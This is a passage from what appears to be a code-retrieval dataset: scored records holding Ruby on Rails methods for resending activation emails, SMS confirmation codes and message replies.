"text": "def resend_activation\n @user = User.find_by_email(params[:user][:email])\n if @user\n flash[:success] = \"Your Acitivation has been sent to #{@user.email}\"\n ValidateEmails.send_validation(@user).deliver\n redirect_to back_or_default\n else\n flash[:error] = \"Sorry could not send you a email to #{params[:user][:email]}\"\n redirect_to request_activation_users_path\n end\n end",
"title": ""
},
{
"docid": "5968035760ef3ae8406c08af164736f1",
"score": "0.5793096",
"text": "def resend(msgId)\n if (@resendThread != nil && @resendThread.alive?)\n return\n end\n @resendThread = Thread.new(msgId) { | msgId |\n @lockSeqNumber.synchronize {\n while msgId <= @outSeqNumber\n message = @messages[msgId]\n Communicator.instance.send(message)\n debug(\"Resend thread: Sleep for \", RESEND_INTERVAL)\n sleep RESEND_INTERVAL\n debug(\"Resend thread: Continuing\")\n msgId += 1\n end\n debug(\"Resend thread: Finishing\")\n }\n }\n end",
"title": ""
},
{
"docid": "b2665c86b94a2d16d4e43da45ba10c98",
"score": "0.5791886",
"text": "def resend(message)\n message.reply_to_address = @reply_address\n\n # Decrement Reply Message counter\n @reply_count_sync.synchronize(:EX) { @reply_count -= 1 }\n @producer.send(message)\n end",
"title": ""
},
{
"docid": "460c87f610bdcecab59c46476ce9f28c",
"score": "0.57503694",
"text": "def resend_sms_otp\n \t\tresource = @resource_class.new\n \t\trespond_to do |format|\n\t\t format.json {render json: resource.to_json, status: @status}\n\t\t format.js {render \"auth/confirmations/_resend_otp.js.erb\", locals: {resource: resource, intent: @intent}}\n\t\tend\n \tend",
"title": ""
},
{
"docid": "0759c3ee2b36e69a7d0f8a9b06151b3b",
"score": "0.57310945",
"text": "def create\n mailing_params = validate_params\n\n User.find(mailing_params[:user_id]).tap do |user|\n user.public_send(\"resend_#{mailing_params[:type]}_instructions\")\n end\n\n render_meta({ message: I18n.t(:'generic.messages.email_sent') }, status: :created)\n end",
"title": ""
},
{
"docid": "6c66a052e5b99c76c2c45cbcaebc0d86",
"score": "0.5699176",
"text": "def recieved(enquiry_id)\n @enquiry = Enquiry.find(enquiry_id)\n\n mail to: \"marshallgray1992@gmail.com\"\n end",
"title": ""
},
{
"docid": "92ae4585ded6d758a82a44e6d4beed66",
"score": "0.56954604",
"text": "def resend_receipt\n \t#@order.cleanup_successful\n # Send success message\n @order.deliver_receipt\n redirect_to :action => 'show', :id => @order.id\n end",
"title": ""
},
{
"docid": "969be7117752da883baf06f55aeebd48",
"score": "0.5686134",
"text": "def reply\n\n # old message is set from the filter\n @new_message = Message.new(form_params)\n @new_message.organization = @organization\n @new_message.user = current_user\n @new_message.priority_type = @message.priority_type\n @new_message.subject = 'Re: ' + @message.subject\n @new_message.to_user = @message.user\n\n respond_to do |format|\n if @new_message.save\n notify_user(:notice, \"Reply was successfully sent.\")\n\n @message.responses << @new_message\n\n format.html { redirect_to user_messages_url(current_user) }\n format.json { render :json => @new_message, :status => :created }\n else\n @response = @new_message\n format.html { render :action => \"show\" }\n format.json { render :json => @new_message.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71558be60647f0928c1dce32cf58349d",
"score": "0.568401",
"text": "def resendActivationCode\n #send_welcome_email \n respond_to do |format| \n format.xml { render :xml => successRsp }\n end\n end",
"title": ""
},
{
"docid": "5e9da43ca5912648aa89fc7228f47672",
"score": "0.56755906",
"text": "def reply\n @message = Message.create(user: current_user, body: message_params[:body], conversation: @conversation)\n if !@message.valid?\n head :ok\n return\n end\n @message.reload\n @conversation.update(last_message_id: @message.id)\n recipient2convs = @conversation\n .user_to_conversations\n .where(\"user_id != #{current_user.id}\")\n # Send notification to every user about the new message. This is how new messages are displayed on the client, even for the sender\n # TODO: probably should eagerly display message for the sender\n Notification.publish_message_to_faye(current_user, @conversation, @message)\n recipient2convs.each do |recipient2conv|\n recipient2conv.update(read: false, seen: false)\n Notification.publish_message_to_faye(recipient2conv.user, @conversation, @message)\n end\n recipient2convs.each do |recipient2conv|\n recipient2conv.user.send_unseen_messages_mail\n end\n @path = conversation_path(@conversation)\n track_reply_to_conversation\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "8d57364ef93e64ed2ce892cb27a77ac7",
"score": "0.5669084",
"text": "def email_rerun_message \n self.participations.each do |p| \n Notifier.deliver_survey_rerun_notification_participant(self,p.participant) unless p.participant == self.sponsor\n end \n self.internal_and_external_invitations.sent.each do |i| \n invitee = (i.is_a? ExternalSurveyInvitation) ? i : i.invitee\n Notifier.deliver_survey_rerun_notification_non_participant(self,invitee)\n end\n end",
"title": ""
},
{
"docid": "9b1e7c1ff0e75a5b1b6f49a7d7eb1852",
"score": "0.56451416",
"text": "def recieved\n EnquiryMailer.recieved\n end",
"title": ""
},
{
"docid": "daad8d62f10b0df8351bdf039eccfb9d",
"score": "0.5641775",
"text": "def receive\n # find the last message sent to the number\n @relevant_message = Message.where(\"to_number = ? AND status = ?\", params[:From], \"delivered\").order(\"created_at DESC\").first\n\n if @relevant_message\n @schedule = Schedule.find(@relevant_message.schedule_id)\n Message.receive_message(params, @relevant_message, @schedule)\n head :ok, content_type: \"text/html\"\n else\n @message = Message.where(\"to_number = ?\", params[:From]).order(\"created_at DESC\").first\n Message.create({\n body: params[:Body],\n to_number: params[:To],\n from_number: params[:From],\n status: 'received',\n schedule_id: @message.schedule_id\n })\n # alert(\"wrong reception!!\")\n end\n end",
"title": ""
},
{
"docid": "bc6227e8f8db0e053822b547c0ba4c63",
"score": "0.56315184",
"text": "def resendnewactivation\n render\n end",
"title": ""
},
{
"docid": "1556aeae73b8de9ee7e059ca1c9415e0",
"score": "0.56252515",
"text": "def resendCode\n\t\t@user = current_user\n\t\tif @user.resendCode?\n\t\t\tEmailer.verification_instructions(@user).deliver\n\t\t\tflash[:notice] = \"The verification E-mail has been sent to your email $green\"\n\t\t\tredirect_to :controller => 'users', :action => 'verifySettings'\n\t\telse\n\t\t\tflash[:notice] = \"You have already verified your account\"\n\t\t\tredirect_to :controller => 'users', :action => 'feed'\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cb4846235831642571ac64ee0f0f51da",
"score": "0.5615776",
"text": "def send_msg\n if request.post?\n #TODO: check that sender_id is the same as the current user_id\n @message = Message.factory!(params[:type], params[:message])\n if (@message.sender != @user)\n render_error(\"You can only send messages on behalf of yourself.\")\n else\n @receiver_ids = ActiveSupport::JSON.decode(params[:receivers])\n @receiver_ids.each do |r|\n p = Person.find(r)\n if p\n @message.people << p\n end\n end\n @message.save\n render :text => \"yays!\", :status => :created\n end\n else\n render_error(\"Request type not supported. Expected POST.\", nil) \n end\n end",
"title": ""
},
{
"docid": "582c31b323d8d7a8deedd552b6e5e6b3",
"score": "0.5615277",
"text": "def resend_sms_confirmation_instructions\n pending_any_sms_confirmation do\n send_sms_confirmation_instructions\n end\n end",
"title": ""
},
{
"docid": "22d30c431c029d8700a8586fb3ed0872",
"score": "0.5611409",
"text": "def resend_confirmation_sms\n @user = User.find(params[:id])\n if Time.zone.now > @user.updated_at + 1.minute\n @user.update_attribute(:updated_at, Time.zone.now)\n SmsJob.perform_later({ user_id: @user.id }, 'confirmation_number')\n redirect_to :back, notice: 'На ваш телефон отправлено повторное смс с кодом подтверждения'\n else\n redirect_to :back, alert: 'После последней отправки смс прошло меньше минуты'\n end\n end",
"title": ""
},
{
"docid": "6d9e65fc0ab549b393e2a26ecc4659d9",
"score": "0.56023777",
"text": "def resend_phone_number_verification_code\n broadcast('@type' => 'resendPhoneNumberVerificationCode')\n end",
"title": ""
},
{
"docid": "c31738c4d3e8abb88223bb78078be929",
"score": "0.5597427",
"text": "def post_messages(options={})\n post(\"1/messages\", options)\n end",
"title": ""
},
{
"docid": "ddcfa27968f1a983cca382ec2ce101b7",
"score": "0.55867326",
"text": "def resend_confirmation\n if params[:user].present?\n user = search_user_by_plain_text(email: params[:user][:email])\n if user.present?\n user.send_confirmation_instructions\n flash[:notice] = I18n.t('devise.confirmations.send_instructions.')\n redirect_to new_user_session_path\n else\n flash[:error] = I18n.t('errors.messages.unable_to_send_confirmation.')\n redirect_to new_user_session_path\n end\n end\n end",
"title": ""
},
{
"docid": "a2e5a92347f267dbd79bff3cdb38b724",
"score": "0.5583989",
"text": "def resend_phone_number_confirmation_code\n broadcast('@type' => 'resendPhoneNumberConfirmationCode')\n end",
"title": ""
},
{
"docid": "610597219ad4f8d6f98e0058b1cccda7",
"score": "0.5583024",
"text": "def reply_with(type, params)\n payload = self.payload\n message_id = payload && payload['message_id']\n params = params.merge(reply_to_message_id: message_id) if message_id\n respond_with(type, params)\n end",
"title": ""
},
{
"docid": "0314f168bccdf5c301a21456df7ed338",
"score": "0.5582782",
"text": "def reply\n message_body = params[\"Body\"]\n from_number = params[\"From\"]\n client = helpers.boot_twilio\n send_body = nil\n\n case message_body.downcase\n when \"yes\"\n send_body = \":)\"\n when \"snooze\"\n send_body = \"How many hours?\"\n when -> (n) { Float(n) != nil rescue false }\n send_body = \"I'll remind you in #{message_body} hours.\"\n num_hours = Float(message_body)\n DelayMessageJob.set(wait: num_hours.hours).perform_later \n else\n send_body = \"I'm sorry, I didn't get that.\"\n end\n\n sms = client.messages.create(\n from: ENV['PHONE_NUMBER'],\n to: from_number,\n body: send_body\n )\n\n end",
"title": ""
},
{
"docid": "bb083456ca0547156a6dc526e607913f",
"score": "0.55428874",
"text": "def reply_update\n @message = Message.find(params[:id])\n sender = current_user\n team = Team.find(@message.team_id)\n subject = \"[UPDATED] Re: #{@message.parent.subject}\"\n \n respond_to do |format|\n if @message.update_attributes(params[:message])\n MessageMailer.team_email(sender,team,subject,@message).deliver\n format.js\n else\n format.js {render \"shared/save_failed\"}\n end\n end\n end",
"title": ""
},
{
"docid": "869146a64b9d54088c4e6adba13a44a3",
"score": "0.55342966",
"text": "def resend_activation_email!\n self.send_activation_needed_email!\n end",
"title": ""
},
{
"docid": "e30225c9824b1fc24a54ae3021f71185",
"score": "0.5523167",
"text": "def resend_newsletter\n @subscriber = Subscriber.find params[:id]\n @nonprofit = Nonprofit.find(params[:nonprofit_id])\n\n type = @subscriber.active_donor? ? \"donor\" : \"subscriber\"\n recipients = @subscriber.to_mailgun_recipient\n\n NewsletterMailer.batched_daily(type, @nonprofit.newsletter.id, recipients)\n email = @subscriber.emails.new(to: @subscriber.email, newsletter: @nonprofit.newsletter, sent_at: Time.now, mailer: \"NewsletterMailer\", mailer_method: \"daily_#{type}\")\n email.save!(validate: false) # ugh, validation\n\n flash[:notice] = \"Newsletter resent!\"\n redirect_to admin_subscriber_url(@subscriber.id)\n end",
"title": ""
},
{
"docid": "94dc9fa5cc44e0253b87afa0d02b3fe3",
"score": "0.551836",
"text": "def deliver(msg)\n begin\n request = (@options[:params] || {}).merge(\n {return_path:msg.return_path,\n recipients: msg.recipients,\n message: msg.message})\n\n res = @http_lib.post_form(URI(@url), request)\n ok = res.code.to_i < 300 ? MailTools::EXIT_OK : MailTools::EXIT_ERROR.first\n MailTools::Result.new(msg, :http, ok, res.message, res.body)\n rescue SocketError => e\n res = e\n MailTools::Result.new(msg, :http, MailTools::EXIT_ERROR, e.message)\n end\n end",
"title": ""
},
{
"docid": "6a830b9edf624fa85f20464ea1f90fa3",
"score": "0.55041194",
"text": "def regular_reminder_email(resend = false)\n @retailers = Spree::Retailer.active\n subject = (resend ? \"[#{t(:resend).upcase}] \" : \"\")\n subject += \"#{t('order_mailer.regular_reminder_email.subject')}\"\n mail(:to => Spree::Config[:mail_notification_to], :reply_to => \"orders@reservebar.com\", :subject => subject)\n end",
"title": ""
},
{
"docid": "f2d2f5bb423c3a347cecccfb734272c4",
"score": "0.54894835",
"text": "def deliver message\n response = nexmo.send_message(\n from: current_user.phone_number,\n to: message.to,\n text: message.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n\n #if response['messages'].first['status'] == '0'\n #message.update_attributes(\n # message_id: response['messages'].first['message-id']\n #)\n #end\n end",
"title": ""
},
{
"docid": "6767e037ceab97e793aa5779b2a2d3e6",
"score": "0.5489074",
"text": "def email_action\n # Do not allow setting status back to pending\n if params[:new_status] != \"pending_response\"\n invite = EventInvite.find(params[:id])\n\n if invite.update(status: params[:new_status])\n flash[:notice] = I18n.t(\"event_invites.success\", status: params[:new_status])\n else\n flash[:alert] = I18n.t(\"event_invites.update_error\")\n end\n else\n flash[:alert] = I18n.t(\"event_invites.pending_error\")\n end\n\n redirect_to home_path\n end",
"title": ""
},
{
"docid": "70ebd3d16cb40390280f3b09427c9394",
"score": "0.54811645",
"text": "def auth_resend_confirm_email_post(opts = {})\n auth_resend_confirm_email_post_with_http_info(opts)\n nil\n end",
"title": ""
},
{
"docid": "09f9992ed5fe7ab9bb457fc6fd2a5c59",
"score": "0.5478546",
"text": "def reconfirmation\n ContactMailer.reconfirmation(Request.first)\n end",
"title": ""
},
{
"docid": "e9b2f47b0de1e9cb0ebcf3ad28a2b3eb",
"score": "0.54747725",
"text": "def reply\n\t\tif params[:message_id].nil?\n\t\t flash[:error] = \"Sorry, we couldn't located the message you're looking for.\"\n redirect_to :back\n\t\t\treturn\n\t\tend\n\t\t\n\n\t\t@message = Message.find(:first, :conditions => [\"id = ? AND recipient_id = ?\", params[:message_id], current_user.id])\n\n\t\tif @message.nil?\n\t\t flash[:error] = \"Sorry, we couldn't located the message you're looking for.\"\n\t\t\tredirect_to :back\n\t\t\treturn\n\t\tend\n\n\t\t@sender = current_user\n\t\t@recipient = @message.sender\n\n\t\t@message.subject.insert(0, \"Re: \") unless !@message.subject.match(/^Re:\\s/).nil?\n\n\t\t@message.body.insert(0, \"\\n\\n\\n--------- Original Message ---------\\n\")\n\n\t\trender :action => :compose\n\tend",
"title": ""
},
{
"docid": "2f1b95a62cc4e70bd42e3d518b90c008",
"score": "0.54662365",
"text": "def resend_activation\n EnrollmentMailer.deliver_activation(self) if self.activation_code\n end",
"title": ""
},
{
"docid": "32a3ecb6e49a55935201e164dfc30bd3",
"score": "0.5462145",
"text": "def reconfirm\n @user = User.find params[:id]\n UserMailer.account_confirmation(@user).deliver\n @message = t('admin.users.actions.reconfirm_sent', :email => @user.email)\n end",
"title": ""
},
{
"docid": "ad0b0bf87e101b5f73cdb8757dc220c2",
"score": "0.54555845",
"text": "def resend_invitation\n update_attribute :invitation_sent_at, Time.now.utc\n send_devise_notification(:invitation_instructions, @raw_invitation_token)\n end",
"title": ""
},
{
"docid": "da9cf7a1323b0728eb3e89d131795a87",
"score": "0.5437983",
"text": "def create\n recipients, subject = build_email_msg\n respond_to do |format|\n if recipients && recipients.any?\n current_user.send_message(recipients, params[:body], subject)\n format.json {head :ok}\n else\n format.json {render json: {errors:\n [\"Recipient(s) Not Found.\"]}, status: 404}\n end\n end\n end",
"title": ""
},
{
"docid": "64fc03d71ac9ae22e85c75300fc61e1e",
"score": "0.54376596",
"text": "def reply_update\n @message = Message.find(params[:id])\n parent = Message.mark_parent_as_unread(@message.id)\n @message.body = params[:body]\n @message.recipient_read = false\n sender = current_user\n recipient = User.find(@message.parent.sender_id)\n subject = \"Re:[UPDATED-REPLY] #{@message.parent.subject}\"\n \n respond_to do |format|\n if @message.save\n MessageMailer.user_email(sender,recipient,subject,@message).deliver\n format.js \n else\n format.js {render \"shared/save_failed\"}\n end\n end\n end",
"title": ""
},
{
"docid": "150bfa9f375583e49bc3c794be83c503",
"score": "0.54290336",
"text": "def create\n replied_message = @logged_in_user.line.messages.find(params[:id])\n raise \"404\" unless replied_message\n \n @message = @logged_in_user.line.messages.new(params[:reply])\n @message.status = \"queued\"\n @message.type = replied_message.type\n @message.contact = replied_message.contact\n @message.user = @logged_in_user\n @message.from_contact = false\n \n respond_to do |format|\n if @message.save\n replied_message.status = \"replied\"\n replied_message.save!\n \n flash[:notice] = 'Message sent'\n format.html { redirect_to messages_url }\n format.xml { render :xml => @message, :status => :created, :location => messages_url }\n else\n raise @message.inspect\n format.html { render :action => \"new\" }\n format.xml { render :xml => @message.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "71ff9b6264043fe3176b7b726cdb0425",
"score": "0.5422677",
"text": "def reply\n message_body = params[\"Body\"]\n from_number = params[\"From\"]\n metadata = params\n message_params = { from: from_number, body: message_body, metadata: params }\n\n boot_twilio\n @message = Message.new(message_params)\n\n if @message.save\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from_number,\n body: \"Message saved! Thanks for your support. Your number is #{from_number}.\"\n )\n else\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from_number,\n body: \"Oh no! Your message did not save. Your number is #{from_number}.\"\n )\n end\n\n end",
"title": ""
},
{
"docid": "28f72d20f4dac9be8de21d42c5d836e7",
"score": "0.54114217",
"text": "def request_rejected\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "aa3f4fd21ead55364ede5f14e3c4e9ed",
"score": "0.54099214",
"text": "def resend_activation_email\n user = User.find_by(dxuser: unsafe_params[:dxuser])\n\n begin\n api = DNAnexusAPI.new(ADMIN_TOKEN, DNANEXUS_AUTHSERVER_URI)\n api.call(\"account\", \"resendActivationEmail\", usernameOrEmail: user.dxid)\n rescue DXClient::Errors::DXClientError\n redirect_back(fallback_location: user_path(user), error: \"There was a platform error\")\n else\n redirect_back(\n fallback_location: user_path(user),\n success: \"Activation email has been resent\",\n )\n end\n end",
"title": ""
},
{
"docid": "6796c9daa2af77964bc4a430196c96f3",
"score": "0.540742",
"text": "def handle_post\r\n make_response(201, {message: 'SMS sent!'})\r\nend",
"title": ""
},
{
"docid": "5962c0f15c2907b7371d1db690b44a33",
"score": "0.5403652",
"text": "def request_send_email\n if UserMailer.request_answer_email(params[:email], params[:qid], params[:request], current_user).deliver\n flash[:notice] = \"Successfully sent email!\"\n redirect_to :action => \"show\", :id => params[:qid]\n else\n flash[:notice] = \"Something went wrong while attempting to send your request.\"\n redirect_to :action => \"show\", :id => params[:qid]\n end\n end",
"title": ""
},
{
"docid": "969a9a04f2510c5897868634fe54b06e",
"score": "0.54015553",
"text": "def deliver sms\n response = nexmo.send_message(\n from: sms.from,\n to: sms.to,\n text: sms.text\n )\n\n # If sending the SMS was a success then store\n # the message ID on the SMS record\n if response['messages'].first['status'] == '0'\n sms.update_attributes(\n message_id: response['messages'].first['message-id']\n )\n end\n end",
"title": ""
},
{
"docid": "601071fc50d27c498c2d15b3d871cd28",
"score": "0.53964674",
"text": "def send_reply(params)\n begin\n initialize_twilio\n sms = create_message(params[\"To\"], params[\"From\"])\n rescue Twilio::REST::TwilioError => e\n puts e.message\n end\n end",
"title": ""
},
{
"docid": "925be90a54b1139ae5a33d0970e79ac7",
"score": "0.53964186",
"text": "def message\n sent = FeedbackMailer.email(params).deliver if verify_recaptcha(params)\n\n respond_to do |format|\n if sent\n format.html { redirect_to \"/contact\", notice: 'Thank you for your message.' }\n format.json { render json: nil, status: :created, location: contact_path }\n else\n format.html { redirect_to \"/contact\", notice: 'Not quite right?' }\n format.json { render json: \"Not quite right?\", status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0ee96305e622f7d31ba3565eaa57d125",
"score": "0.5391426",
"text": "def reject\n @syndicate = Syndicate.find(params[:id])\n @syndicate.status = \"rejected\"\n @syndicate.save\n redirect_to syndicates_url\n SyndicateRejectedMailer.syndicate_rejected_email(@syndicate).deliver\n end",
"title": ""
},
{
"docid": "ac205addcc38e373bfb9d5e110a6d9ee",
"score": "0.5371427",
"text": "def resend_to(destinations)\n if destinations.size > 0\n message.smtp_envelope_to = destinations\n\n # Set envelope from and sender to local server to satisfy SPF:\n # http://www.openspf.org/Best_Practices/Webgenerated\n message.sender = envelope_sender\n message.smtp_envelope_from = envelope_sender\n\n # set list headers\n message.header['Precedence'] = 'list'\n message.header['List-Id'] = list_id\n\n deliver(message)\n end\n end",
"title": ""
},
{
"docid": "d6612c3b2e71745e9426bf81647b3ec8",
"score": "0.53523606",
"text": "def resend_password\n @greeting = \"Hi\"\n\n mail :to => \"to@example.org\"\n end",
"title": ""
},
{
"docid": "ba63debf7881401fc6bc36e841fd5ce4",
"score": "0.53408",
"text": "def send_message\n load_object # Load the user and the meeting\n\n # This was a POST-request, so deliver the email with\n # the message:\n message = params[:message] || \"\"\n recipients = params[:participant_ids]\n if recipients.nil?\n # TODO: Fehlermeldung (500, Serverfehler)\n flash[:alert] = t(\"alerts.error\")\n return\n end\n if recipients.is_a? Hash\n recipients = recipients.values\n end\n unless recipients.is_a? Array\n # TODO: Fehlermeldung (500, Serverfehler)\n flash[:alert] = t(\"alerts.error\")\n return\n end\n recipients.map! { |id| User.find_by_id(id)}\n recipients.each do |recipient|\n I18n.locale = recipient.language\n TeacoMailer.user_message(recipient, message, @meeting, @user).deliver\n # Add message to push service\n PushService.add_user_message(recipient, message, @meeting, @user)\n end\n # Push added messages\n PushService.send_notifications()\n\n I18n.locale = @user.language\n\n respond_to do |format|\n flash[:notice] = t(\"notices.message_sent\")\n format.html\n format.js\n # format.mobile\n # format.iphone_native\n # format.android_native { render :text => \"success\" }\n end\n\n end",
"title": ""
},
{
"docid": "4d81420f89c1788b335e244e212cb6b7",
"score": "0.5340258",
"text": "def send_sms\n self.resource = resource_class.send_sms_token(params[resource_name])\n \n if resource.errors.empty?\n set_flash_message :notice, :send_token, :phone => self.resource.phone\n redirect_to new_sms_session_path(resource_name)\n else\n render :resend\n end\n end",
"title": ""
},
{
"docid": "50e8d7746d8207a54114833ac2f3fb4b",
"score": "0.533574",
"text": "def send_messages!\n raise BadServerResponse.new('error during sending messages') unless send_messages\n end",
"title": ""
},
{
"docid": "321fc4814174678c1e72aed5f6e29d24",
"score": "0.53335047",
"text": "def message( to, message )\n self.deliver( to, message )\n\n Response.new( message, to )\n end",
"title": ""
},
{
"docid": "b192ad82deff245e4789fbe68c56e15e",
"score": "0.533175",
"text": "def received(enquiry_id)\n @enquiry = Enquiry.find(enquiry_id)\n mail(to: \"peter.argent@gmail.com\", subject: \"Someone has made an enquiry\")\n end",
"title": ""
},
{
"docid": "28999ce97e8ecae01d7846f959327509",
"score": "0.5331269",
"text": "def resend_token(params = {})\n call('callback.resendToken', params)\n end",
"title": ""
},
{
"docid": "e4f26dd6e06cd802df8cb4fc481389cf",
"score": "0.5331132",
"text": "def receive\n Message.where(id: params[:id]).limit(1).update_all(received: \"1\")\n render json: {sucess: true}\n end",
"title": ""
},
{
"docid": "485e6e44e5c4b2c8c221255ee3f696b6",
"score": "0.5321574",
"text": "def sendingmessage\n\t\t$msg= Message.new(params[:message])\n\t\t$msg.save\n\t\tredirect_to \"/aftersend\"\n\tend",
"title": ""
},
{
"docid": "b0c4ccf1e0b24d12a524ffe7954009d3",
"score": "0.53211725",
"text": "def remind\n if request.xhr?\n if @invitation = Invitation.find(params[:id])\n if @invitation.remind\n render :partial => 'invitations/list_item_reminded', :object => @invitation\n else\n flash[:error] = \"Invitation request from #{@invitation.invitor.name} was not ignored.\"\n render :text => form_flash_messages, :status => 444\n end\n end\n end\n end",
"title": ""
},
{
"docid": "0152e903231c5757103e31aedecfd6cb",
"score": "0.53205204",
"text": "def update\n flash[:notice] = 'Message was successfully updated.' if @message.update(message_params)\n respond_with @message\n end",
"title": ""
},
{
"docid": "f1766fa28a77115b375b5732f2365523",
"score": "0.53203756",
"text": "def send_reciever_message\n mail(to: @reciever.email, subject: @subject)\n end",
"title": ""
},
{
"docid": "2b09fd7485680100b27547a0ebc3c602",
"score": "0.5318982",
"text": "def update\n @message = MailFetcher.new(@box, current_user.id).get_one(params[:id])\n if params[:trash].present?\n @message.trash!\n else\n @message.request!\n end\n render json: @message, status: 200, serializer: MessageSerializer\n end",
"title": ""
},
{
"docid": "bcd36580efc818b2170ae0d8745027a9",
"score": "0.53163797",
"text": "def send_mail_again\n @user = User.find_by_id(params[:id])\n @tenant = Tenant.find_by_user_id(@user.id)\n result = signup_notification_send_grid(@user,@tenant)\n flash[:email_notice] = \"Email was sent again.\"\n render :file => 'users/signup_confirmation.html.erb'\n end",
"title": ""
},
{
"docid": "c4dcd938bd6c7b1988c57fe5e7227b21",
"score": "0.53060186",
"text": "def email\n @response, @documents = get_solr_response_for_field_values(SolrDocument.unique_key,params[:id])\n if request.post?\n if params[:to]\n url_gen_params = {:host => request.host_with_port, :protocol => request.protocol}\n \n if params[:to].match(/^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}$/)\n email = RecordMailer.email_record(@documents, {:to => params[:to], :message => params[:message]}, url_gen_params)\n else\n flash[:error] = I18n.t('blacklight.email.errors.to.invalid', :to => params[:to])\n end\n else\n flash[:error] = I18n.t('blacklight.email.errors.to.blank')\n end\n\n unless flash[:error]\n email.deliver \n flash[:success] = t('revs.about.contact_message_sent')\n if request.xhr?\n render :email_sent, :formats => [:js]\n return\n else\n redirect_to catalog_path(params['id']) \n end\n end\n end\n\n unless !request.xhr? && flash[:success]\n respond_to do |format|\n format.js { render :layout => false }\n format.html\n end\n end\n end",
"title": ""
},
{
"docid": "58c3ba75243e1a3197a422498e6e9aeb",
"score": "0.5302249",
"text": "def sendemail\n \n end",
"title": ""
},
{
"docid": "834f5eec31c37e2824ef9e08d9dc7383",
"score": "0.5300647",
"text": "def email\n @response, @documents = get_solr_response_for_field_values(SolrDocument.unique_key,params[:id])\n if request.post?\n if params[:to]\n url_gen_params = {:host => request.host_with_port, :protocol => request.protocol}\n\n if params[:to].match(/^[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}$/)\n email = RecordMailer.email_record(@documents, {:to => params[:to], :message => params[:message]}, url_gen_params)\n else\n flash[:error] = I18n.t('blacklight.email.errors.to.invalid', :to => params[:to])\n end\n else\n flash[:error] = I18n.t('blacklight.email.errors.to.blank')\n end\n\n unless flash[:error]\n email.deliver_now\n flash[:success] = t('revs.about.contact_message_sent')\n if request.xhr?\n render :email_sent, :formats => [:js]\n return\n else\n redirect_to catalog_path(params['id'])\n end\n end\n end\n\n unless !request.xhr? && flash[:success]\n respond_to do |format|\n format.js { render :layout => false }\n format.html\n end\n end\n end",
"title": ""
},
{
"docid": "6f480b1b71a9aa12c0855be8a4084062",
"score": "0.52992576",
"text": "def resend_confirmation_token\n unless_confirmed { send_confirmation_instructions }\n end",
"title": ""
},
{
"docid": "51be3938b26521cf3708431366ff296e",
"score": "0.52966785",
"text": "def send_message_for_state(resend = false)\n msg = case self.scheduled_state.first\n when :asked then 'Would you like to mentor a startup this week? Please respond with: yes or no'\n when :day then 'What day works for you? Enter one: Mo Tu We Th Fr Sa Su'\n when :time then 'What time works for you? ex: 800am or 330pm'\n when :completed then \"Thanks! You have set yourself to be available at #{self.scheduled_at}\"\n else\n end\n msg = \"Sorry didn't catch that. #{msg}\" if resend\n TwilioClient.account.sms.messages.create(:from => Settings.apis.twilio.phone, :to => self.from.phone, :body => msg)\n end",
"title": ""
},
{
"docid": "afb42f9068eba6033655d6cf66eaf221",
"score": "0.52962273",
"text": "def cancel_reply\n @message = Message.find(params[:id])\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "0e3792a348c369fdf05dcc2eb8346665",
"score": "0.5295337",
"text": "def sendmail\n @requerimiento = Requerimiento.find(params[:id])\n ActionCorreo.rq_email(@requerimiento).deliver_now \n\n end",
"title": ""
},
{
"docid": "afb42f9068eba6033655d6cf66eaf221",
"score": "0.5293732",
"text": "def cancel_reply\n @message = Message.find(params[:id])\n respond_to do |format|\n format.js\n end\n end",
"title": ""
},
{
"docid": "1cb67e1d5264d9748f30a49d57b23c50",
"score": "0.5291592",
"text": "def send_email_remind(user)\n @greeting = \"Hi\"\n\n mail to: user.email, subject: 'Alert'\n end",
"title": ""
},
{
"docid": "4ec2b02dd94ed3dfc6005a4786d3bc89",
"score": "0.5288127",
"text": "def update\n @message = Message.find(params[:id])\n @message.subject = params[:subject]\n @message.body = params[:body]\n @message.sender_read = false\n @message.recipient_read = false\n sender = current_user\n recipient = User.find(@message.recipient_id)\n subject = \"[UPDATED] \"+@message.subject\n \n respond_to do |format|\n # check for shinanigans\n if @message.sender_id == current_user.id\n if @message.save\n MessageMailer.user_email(sender,recipient,subject,@message).deliver\n format.js\n else\n format.js {render \"shared/save_failed\"}\n end\n else\n format.js {render \"shared/not_owner\"}\n end \n end\n end",
"title": ""
},
{
"docid": "fc1303f99dc6cc8f0c0fe5213b4097cc",
"score": "0.5280868",
"text": "def resend_confirmation_notification!\n if confirmation_token.present?\n generate_confirmation_token_and_confirmation_sent_at\n self.save!\n\n send_confirmation_notification\n end\n end",
"title": ""
},
{
"docid": "c14c94416178330adf18ae56f3e9fac3",
"score": "0.5276912",
"text": "def create\n @message = Message.new(params[:message])\n @message.body = RedCloth.new( ActionController::Base.helpers.sanitize( @message.body ), [:filter_html, :filter_styles, :filter_classes, :filter_ids] ).to_html\n if @message.save\n flash[:notice] = \"Message was sent\"\n @recipient = User.find(@message.recipient_id)\n @recipient.unread_messages = @recipient.unread_messages + 1\n @recipient.save \n else\n @message.body = Nokogiri::HTML.fragment(@message.body).text\n end\n respond_with(@message)\n end",
"title": ""
},
{
"docid": "6fc167a5e04dddbe69952b6e2a91842b",
"score": "0.52744",
"text": "def respond\n flash[:notice] = \"Click the ATTEND button to let the invitor know you'd like to attend.\"\n redirect_to show_invite_url(:id => params[:id])\n end",
"title": ""
},
{
"docid": "2b8b40d0ddf8dcafcbea84ee8c748663",
"score": "0.5270627",
"text": "def create\n @user = current_user\n respond_to do |format|\n if @user.send_message(find_recipients_from_params, params[:message][:body], params[:message][:subject])\n format.html { redirect_to user_mailbox_messages_path(@user)}\n end\n end\n \n end",
"title": ""
},
{
"docid": "f3830f36a678e3ba0f23154516f5d19e",
"score": "0.5266206",
